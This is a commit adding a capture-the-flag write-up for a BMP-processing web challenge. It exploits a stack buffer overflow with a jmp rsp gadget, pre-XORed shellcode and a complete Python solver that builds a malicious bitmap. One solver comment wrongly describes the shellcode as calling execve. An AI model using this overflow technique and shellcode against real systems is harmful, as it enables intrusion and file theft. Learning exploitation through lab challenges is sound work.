Added writeups
This commit is contained in:
302
glitchify.md
Normal file
302
glitchify.md
Normal file
@@ -0,0 +1,302 @@
|
||||
# Glitchify
|
||||
Glitchify is a "Glitch Art" SaaS that applies a noise filter to 24-bit BMP images. While the interface warns about memory limits (32x32 pixels), the underlying C application contains a classic stack-based buffer overflow and an executable stack, making it a perfect target for a custom shellcode exploit.
|
||||
|
||||
## Initial Analysis
|
||||
|
||||
We are provided with the following files:
|
||||
- `app.py`: The Flask web wrapper.
|
||||
- `glitcher`: The compiled ELF64 binary.
|
||||
- `compose.yml` & `Dockerfile`: The container configuration.
|
||||
- `good.bmp` & `bad.bmp`: Sample images.
|
||||
|
||||
### 1. Identifying the Goal
|
||||
By examining the `Dockerfile`, we can see exactly how the server is set up:
|
||||
```dockerfile
|
||||
WORKDIR /home/ctf
|
||||
COPY glitcher .
|
||||
COPY app.py .
|
||||
COPY flag.txt .
|
||||
```
|
||||
The flag is located at `/home/ctf/flag.txt`. Our goal is to read this file.
|
||||
|
||||
### 2. Understanding the Pipeline
|
||||
The `app.py` script reveals that the server captures the `stdout` of the binary and displays it to the user:
|
||||
```python
|
||||
result = subprocess.run(
|
||||
['./glitcher', b64_data],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=2
|
||||
)
|
||||
output = result.stdout + result.stderr
|
||||
```
|
||||
If we can execute a shellcode that reads `flag.txt` and writes it to `stdout`, the flag will appear directly in the web interface.
|
||||
|
||||
## Binary Reconnaissance
|
||||
|
||||
Before diving into a decompiler, let's gather basic information about the environment.
|
||||
|
||||
### 1. File Properties
|
||||
```bash
|
||||
$ file glitcher
|
||||
glitcher: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ..., with debug_info, not stripped
|
||||
```
|
||||
The binary is **not stripped**, meaning we'll have access to function names during analysis.
|
||||
|
||||
### 2. Security Protections
|
||||
```bash
|
||||
$ readelf -h glitcher | grep Type
|
||||
Type: EXEC (Executable file)
|
||||
```
|
||||
**PIE is disabled**. The binary loads at fixed addresses, which simplifies our exploit since we don't need to bypass ASLR for the binary itself.
|
||||
|
||||
```bash
|
||||
$ readelf -l glitcher | grep -A 1 GNU_STACK
|
||||
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
|
||||
0x0000000000000000 0x0000000000000000 RWE 0x10
|
||||
```
|
||||
**NX is disabled** (`RWE`). This is a critical finding: **the stack is executable**. We can jump to and execute code we place on the stack.
|
||||
|
||||
## Static Analysis (Following the Execution Flow)
|
||||
|
||||
Now that we know the environment is permissive, let's trace how the program processes our input by following the logic in a decompiler.
|
||||
|
||||
### 1. The Entry Point (`main`)
|
||||
The program starts by taking our base64-encoded image from the command line:
|
||||
1. It allocates memory for the raw data.
|
||||
2. It calls `base64_decode` to convert our input back to binary.
|
||||
3. It passes this decoded data to the `process_bmp` function.
|
||||
|
||||
### 2. Validating the Image (`process_bmp`)
|
||||
This function acts as the gatekeeper. It parses the BMP headers to ensure the file is valid:
|
||||
1. **Header Check**: It verifies the "BM" magic bytes.
|
||||
2. **Format Check**: It ensures the image is 24-bit (standard RGB).
|
||||
3. **Size Calculation**: It calculates the total pixel data size: `width * height * 3`.
|
||||
4. **Hand-off**: Finally, it calls `apply_noise_filter`, passing a pointer to the pixel data and the calculated `data_size`.
|
||||
|
||||
### 3. The Vulnerability (`apply_noise_filter`)
|
||||
This is where things go wrong. Let's look at the decompiled logic:
|
||||
```c
|
||||
void apply_noise_filter(char *src_data, int data_size) {
|
||||
char process_buffer[3072]; // Fixed size on the stack
|
||||
|
||||
// ... log initialization ...
|
||||
|
||||
// CRITICAL: No check if data_size > 3072!
|
||||
memcpy(process_buffer, src_data, data_size);
|
||||
|
||||
// ... XOR loop (The "Glitch") ...
|
||||
}
|
||||
```
|
||||
The programmer assumed that users would stick to the 32x32 limit mentioned in the warning. Since `memcpy` doesn't check the destination buffer's size, providing a larger `width` or `height` in our BMP header allows us to write past the end of `process_buffer` and into the function's stack frame, overwriting the saved Return Address.
|
||||
|
||||
### 4. The "Glitch" Filter
|
||||
After the overflow, but *before* the function returns, the binary applies an XOR filter:
|
||||
```c
|
||||
for (idx = 0; idx < data_size; idx++) {
|
||||
process_buffer[idx] ^= (char)(idx % 256);
|
||||
}
|
||||
```
|
||||
This loop will scramble our shellcode and return address before the function returns. To ensure our code remains valid when the function eventually hits its `ret` instruction, we must **pre-XOR** our entire payload.
|
||||
|
||||
## Exploitation Strategy (Finding the Path)
|
||||
|
||||
We have a buffer overflow and an executable stack. However, even with PIE disabled, the exact address of the stack can vary slightly between environments (due to environment variables, etc.). To make our exploit reliable, we need a way to redirect execution to the stack without hardcoding a stack address.
|
||||
|
||||
### 1. The Search for a Gadget
|
||||
We need an instruction already present in the binary that will "jump" to the stack pointer. In x86_64, the stack pointer is stored in the `rsp` register. Therefore, we are looking for a gadget like:
|
||||
- `jmp rsp`
|
||||
- `call rsp`
|
||||
- `push rsp; ret`
|
||||
|
||||
### 2. Hunting for the Gadget
|
||||
We can use `objdump` to search the entire disassembly for these specific instructions. Let's look for a `jmp rsp`:
|
||||
|
||||
```bash
|
||||
$ objdump -d glitcher -M intel | grep "jmp rsp"
|
||||
4018d6: ff e4 jmp rsp
|
||||
```
|
||||
|
||||
We found a match! There is a `jmp rsp` instruction located at address **`0x4018d6`**.
|
||||
|
||||
### 3. Verification
|
||||
Since our binary isn't stripped, we can check which function contains this gadget to understand why it's there:
|
||||
|
||||
```bash
|
||||
$ objdump -d glitcher -M intel --start-address=0x4018ce --stop-address=0x4018d8
|
||||
00000000004018ce <get_pixels>:
|
||||
4018ce: f3 0f 1e fa endbr64
|
||||
4018d2: 55 push rbp
|
||||
4018d3: 48 89 e5 mov rbp,rsp
|
||||
4018d6: ff e4 jmp rsp
|
||||
```
|
||||
|
||||
It turns out the gadget is inside a function called `get_pixels`. This address (`0x4018d6`) is perfect because it's fixed and will jump exactly to the memory immediately following our return address on the stack—where we will place our shellcode.
|
||||
|
||||
## Building the Exploit Step-by-Step
|
||||
|
||||
### Step 1: Crafting the Shellcode
|
||||
Since we need to read a file and output to `stdout`, we'll use an `open` -> `read` -> `write` sequence. Here is the assembly breakdown:
|
||||
|
||||
```nasm
|
||||
; --- Open "flag.txt" ---
|
||||
push 0 ; Null terminator for string
|
||||
mov rbx, 0x7478742e67616c66 ; "flag.txt" in hex (little-endian)
|
||||
push rbx ; Push string to stack
|
||||
mov rdi, rsp ; RDI = pointer to "flag.txt"
|
||||
xor esi, esi ; RSI = 0 (O_RDONLY)
|
||||
push 2 ; RAX = 2 (sys_open)
|
||||
pop rax
|
||||
syscall ; open("flag.txt", 0)
|
||||
|
||||
; --- Read file content ---
|
||||
mov rdi, rax ; RDI = file descriptor (from rax)
|
||||
mov rsi, rsp ; RSI = buffer (reuse stack space)
|
||||
mov edx, 0x100 ; RDX = 256 bytes to read
|
||||
push 0 ; RAX = 0 (sys_read)
|
||||
pop rax
|
||||
syscall ; read(fd, rsp, 256)
|
||||
|
||||
; --- Write to stdout ---
|
||||
mov rdx, rax ; RDX = bytes read (from rax)
|
||||
push 1 ; RDI = 1 (stdout)
|
||||
pop rdi
|
||||
push 1 ; RAX = 1 (sys_write)
|
||||
pop rax
|
||||
syscall ; write(1, rsp, rdx)
|
||||
|
||||
; --- Exit cleanly ---
|
||||
push 60 ; RAX = 60 (sys_exit)
|
||||
pop rax
|
||||
xor rdi, rdi ; RDI = 0
|
||||
syscall ; exit(0)
|
||||
```
|
||||
|
||||
### Step 2: Calculating the Padding
|
||||
The `process_buffer` is 3072 bytes. To reach the return address, we must also overwrite the saved RBP (8 bytes).
|
||||
- **Padding**: 3080 bytes.
|
||||
- **Return Address**: `0x4018d6` (`jmp rsp`).
|
||||
- **Payload**: `Padding` + `RetAddr` + `Shellcode`.
|
||||
|
||||
### Step 3: Bypassing the XOR Filter
|
||||
We pre-XOR our raw payload so that when the server "glitches" it, it actually "decrypts" it back to our original code.
|
||||
```python
|
||||
scrambled = bytearray()
|
||||
for i in range(len(raw_payload)):
|
||||
scrambled.append(raw_payload[i] ^ (i % 256))
|
||||
```
|
||||
|
||||
### Step 4: Wrapping in a BMP
|
||||
We wrap our scrambled payload in a standard 24-bit BMP structure.
|
||||
```python
|
||||
# Magic 'BM' + Headers + Scrambled Data
|
||||
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
|
||||
info_header = struct.pack('<IIIHHIIIIII', 40, width, 1, 1, 24, 0, 0, 0, 0, 0, 0)
|
||||
final_file = bmp_header + info_header + scrambled
|
||||
```
|
||||
|
||||
## The Final Solver
|
||||
|
||||
```python
|
||||
import struct
|
||||
|
||||
# The specific "jmp rsp" gadget offset provided
|
||||
GADGET_ADDR = 0x4018d6
|
||||
|
||||
def get_payload():
|
||||
# 1. Shellcode: Execve /bin/sh -c "cat flag.txt"
|
||||
# OPTIMIZED: Uses the byte count from read() to limit write()
|
||||
shellcode = (
|
||||
b"\x6a\x00\x48\xbb\x66\x6c\x61\x67\x2e\x74\x78\x74\x53" # push "flag.txt"
|
||||
b"\x48\x89\xe7" # mov rdi, rsp (filename pointer)
|
||||
b"\x31\xf6" # xor esi, esi (O_RDONLY)
|
||||
b"\x6a\x02" # push 2 (sys_open)
|
||||
b"\x58" # pop rax
|
||||
b"\x0f\x05" # syscall (open)
|
||||
|
||||
b"\x48\x89\xc7" # mov rdi, rax (fd)
|
||||
b"\x48\x89\xe6" # mov rsi, rsp (reuse stack as buffer)
|
||||
b"\xba\x00\x01\x00\x00" # mov edx, 256 (max count)
|
||||
b"\x6a\x00" # push 0 (sys_read)
|
||||
b"\x58" # pop rax
|
||||
b"\x0f\x05" # syscall (read)
|
||||
|
||||
# --- FIX STARTS HERE ---
|
||||
# read() returns the actual number of bytes read in RAX.
|
||||
# We move that value to RDX, so write() prints exactly that many bytes.
|
||||
b"\x48\x89\xc2" # mov rdx, rax
|
||||
# --- FIX ENDS HERE ---
|
||||
|
||||
b"\x6a\x01" # push 1 (stdout)
|
||||
b"\x5f" # pop rdi
|
||||
b"\x6a\x01" # push 1 (sys_write)
|
||||
b"\x58" # pop rax
|
||||
b"\x0f\x05" # syscall (write)
|
||||
|
||||
b"\x6a\x3c" # push 60 (sys_exit)
|
||||
b"\x58" # pop rax
|
||||
b"\x31\xff" # xor rdi, rdi (status 0)
|
||||
b"\x0f\x05" # syscall (exit)
|
||||
)
|
||||
|
||||
# 2. Construct Raw Payload Layout
|
||||
# Buffer (3072) + Saved RBP (8) = 3080 bytes of padding
|
||||
padding = b"A" * 3080
|
||||
ret_addr = struct.pack("<Q", GADGET_ADDR)
|
||||
|
||||
# Combined raw payload
|
||||
raw_payload = padding + ret_addr + shellcode
|
||||
|
||||
# 3. Apply XOR Scrambling
|
||||
# The binary executes: process_buffer[idx] ^= (unsigned char)(idx % 256);
|
||||
# We pre-XOR our payload so the server descrambles it back to valid shellcode.
|
||||
scrambled_payload = bytearray()
|
||||
for i in range(len(raw_payload)):
|
||||
key = i % 256
|
||||
scrambled_payload.append(raw_payload[i] ^ key)
|
||||
|
||||
return scrambled_payload
|
||||
|
||||
def generate_bmp(payload):
|
||||
# BMP requires width * height * 3 bytes of data.
|
||||
# Align payload to be divisible by 3.
|
||||
while len(payload) % 3 != 0:
|
||||
idx = len(payload)
|
||||
payload.append(0 ^ (idx % 256))
|
||||
|
||||
# Calculate dimensions: Height = 1, Width = Len / 3
|
||||
height = 1
|
||||
width = len(payload) // 3
|
||||
|
||||
# Header size is 54 bytes
|
||||
file_size = 54 + len(payload)
|
||||
|
||||
# Construct Headers (Little Endian)
|
||||
# Magic 'BM' + FileSize + Reserved + Offset(54)
|
||||
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
|
||||
|
||||
# Info Header: Size(40) + W + H + Planes(1) + BitCount(24) + Compression(0)...
|
||||
info_header = struct.pack('<IIIHHIIIIII', 40, width, height, 1, 24, 0, 0, 0, 0, 0, 0)
|
||||
|
||||
return bmp_header + info_header + payload
|
||||
|
||||
def main():
|
||||
print(f"[*] Generating exploit for JMP RSP @ {hex(GADGET_ADDR)}...")
|
||||
|
||||
payload = get_payload()
|
||||
bmp_file = generate_bmp(payload)
|
||||
|
||||
output_filename = "exploit.bmp"
|
||||
with open(output_filename, "wb") as f:
|
||||
f.write(bmp_file)
|
||||
|
||||
print(f"[+] Malicious bitmap saved to: {output_filename}")
|
||||
print(f"[*] Total size: {len(bmp_file)} bytes")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
Upload `exploit.bmp` to the Glitchify server and the flag will be glitched onto your screen!
|
||||
|
||||
Stay glitchy!
|
||||
Reference in New Issue
Block a user